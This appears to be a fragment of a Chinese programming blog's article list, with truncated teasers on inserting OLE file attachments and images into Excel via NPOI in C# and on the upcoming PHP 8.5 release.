NPOI Excel用OLE对象的形式插入文件附件以及插入图片
static void Main(string[] args) {XlsWithObjData();Console.WriteLine("输出完成"); }static void XlsWithObjData() {// 创建工作簿和单元格,只有HSSFWorkbook,XSSFWorkbook不可以HSSFWorkbook workbook new HSSFWorkbook();HSSFSheet sheet (HSSFSheet)workboo…...
PHP 8.5 即将发布:管道操作符、强力调试
前不久,PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5!作为 PHP 语言的又一次重要迭代,PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是,借助强大的本地开发环境 ServBay&am…...
